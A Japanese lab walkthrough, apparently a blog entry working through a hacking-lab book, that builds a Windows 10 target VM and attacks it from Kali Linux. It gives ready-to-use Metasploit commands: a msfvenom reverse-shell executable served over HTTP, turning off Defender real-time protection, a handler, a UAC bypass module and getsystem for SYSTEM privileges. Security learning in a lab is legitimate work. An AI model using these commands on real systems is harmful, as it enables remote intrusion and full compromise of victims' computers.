ターゲット端末にWindows10を導入し、初期設定を行います。
さらにMetasploitを使ってハッキングをしていきます。
まとめ記事(①〜⑯をまとめてます)
【ハッキング・ラボのつくりかた】をやってみた
システム環境
仮想化ソフト
:VirtualBox 6.1.0
ホストOS
:Windows10
ゲストOS1
:Kali Linux 2020.1
ゲストOS2
:Windows7
ゲストOS3
:Windows10
攻撃端末はゲストOS1、ターゲット端末はゲストOS3です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS3が10.0.0.107です。
Windows10の導入
Windows10を導入していきます。
isoファイルのダウンロード
Kali LinuxやWindows7はovaファイルをインポートしましたが、今回はisoファイルからブートしてインポートします。
以下のURLからisoファイルをダウンロードします。
https://www.microsoft.com/ja-jp/software-download/windows10
「ツールを今すぐダウンロード」ボタンを押して、メディア作成ツールをダウンロードします。
メディア作成ツールを実行します。
ライセンス条項を確認して、「同意する」ボタンを押します。
「別のPCのインストールメディアを作成する」を選択して、「次へ」ボタンを押します。
「ISOファイル」を選択して、「次へ」ボタンを押します。
isoファイルの保存場所を指定します。
ファイル名はWindows10.isoとします。保存場所を指定すると、ダウンロードが開始されます。
仮想マシンの構築
VirtualBoxを起動して、「仮想マシン」→「新規」を選び、以下の設定で「次へ」ボタンを押します。
メモリーサイズは2Gバイトとし、「次へ」ボタンを押します。
「仮想ハードディスクを作成する」を選び、「作成」ボタンを押します。
「VDI (VirtualBox Disk Image)」を選び、「次へ」ボタンを押します。
「可変サイズ」を選び、「次へ」ボタンを押します。
ファイルの場所とサイズはデフォルトのままで「作成」ボタンを押します。
Windows10のインストール
空の仮想マシンができたので、Windows10をインストールしていきます。
Windows10の仮想マシンを起動すると、起動ハードディスクを選択する画面が出るので、ダウンロードしたisoファイルを指定します。
Windows Boot Managerでは64bitを選択します。
Windows10のインストーラーが起動しますので、ガイドに従ってインストールを完了させます。
インストールが完了したら、「設定」→「ストレージ」からisoファイルの割り当てを除去しておきます。
Windows10の初期設定
Windows10の初期設定を行っていきます。
Guest Additionsのインストール
仮想マシンメニューの「デバイス」→「Guest Additions CDイメージの挿入」から「VBoxWindowsAdditions.exeの実行」を選び、インストールします。
なお、「設定」→「ストレージ」から空のディスクを割り当てておかないとエラーが出るので、事前に割り当てておきます。
仮想マシンの設定
「設定」→「一般」の「高度」タブから「クリップボードの共有」と「ドラッグ&ドロップ」を「双方向」にします。
「設定」→「システム」の「マザーボード」タブから「ICH9」を選びます。
「設定」→「ネットワーク」でアダプター1にNAT、アダプター2にホストオンリーアダプターを割り当てます。
ネットワーク確認
Windows10を起動します。
コマンドプロンプトでipconfigコマンドを実行して、IPアドレスが割り当てられていることを確認します。
Windows10もPingの応答を返さないようになっているので、「コントロールパネル」→「システムとセキュリティ」→「Windows Defender ファイアウォール」→「詳細設定」→「受信の規則」→「ファイルとプリンターの共有(エコー要求 - ICMPv4受信)」から「ドメイン」、「プライベート, パブリック」を右クリックで「規則の有効化」を選びます。
ここまで完了したら、pingコマンドでNAT及びホストオンリーネットワークの疎通確認を行います。
Metasploitを使ってハッキングをする
ここからはMetasploitを使ってハッキングを行っていきます。
ペイロードの作成
Kali Linuxを起動して、ペイロードを作成します。
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /home/kali/Desktop/evil2.exe
Windows10でevil2.exeをダウンロードできるように公開用ディレクトリに移動します。
# cp /home/kali/Desktop/evil2.exe /var/www/html/share/
# service apache2 restart
ペイロードのダウンロード
Windows10側でhttp://10.0.0.2/share
にアクセスしてevil2.exeをダウンロードします。
しかし、ダウンロードしようとしても、Windows Defender Antivirusに検知され、ダウンロードできません。
なので、「設定」→「更新とセキュリティ」→「Windows セキュリティ」→
「ウイルスと脅威の防止」→「ウイルスと脅威の防止の設定」→「設定の管理」から「リアルタイム保護」をオフにします。
ダウンロードがうまくいったので、デスクトップに配置します。
リバースシェル接続
まず、Kali Linuxでリバースシェルを待ち受けます。
msfプロンプトで以下のコマンドを実行してリバースシェル接続を行います。
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit -j -z
Windows10でペイロードを実行し、リバースシェル接続を行います。
まず、リアルタイム保護をオンにした状態で実行してみます。
すると、以下のようなダイアログが表示され、接続に失敗することがわかります。
次に、リアルタイム保護をオフにした状態で実行すると、Kali Linux側でセッションが確立しました。
ここまでを見てみると、Windows10はWindows7と比較してセキュリティが向上していることがわかります。
SYSTEM権限の奪取
ターゲット端末に攻撃をするためにSYSTEM権限の奪取を試みます。
現在、セッションは確立していますが、UAC機能によって権限昇格に失敗します。
そこで、Windows7のときと同様にUAC機能をバイパスするモジュールを実行して、権限昇格を試みます。
msfプロンプトでsearchコマンドを実行して、「Rankがexcellent」かつ「日時が新しい」モジュールを探します。
ここではexploit/windows/local/bypassuac_silentcleanupモジュールを使用します。
> use exploit/windows/local/bypassuac_silentcleanup
ターゲットを確認します。
> show targets
ターゲットは0、セッションは1として、以下を実行します。
> set TARGET 0
> set SESSION 1
> set payload windows/x64/meterpreter/reverse_https
> set LHOST 10.0.0.2
> exploit
接続が成功すると、Meterpreterプロンプトが返ってきます。
以下を実行して、SYSTEM権限を奪取します。
> getsystem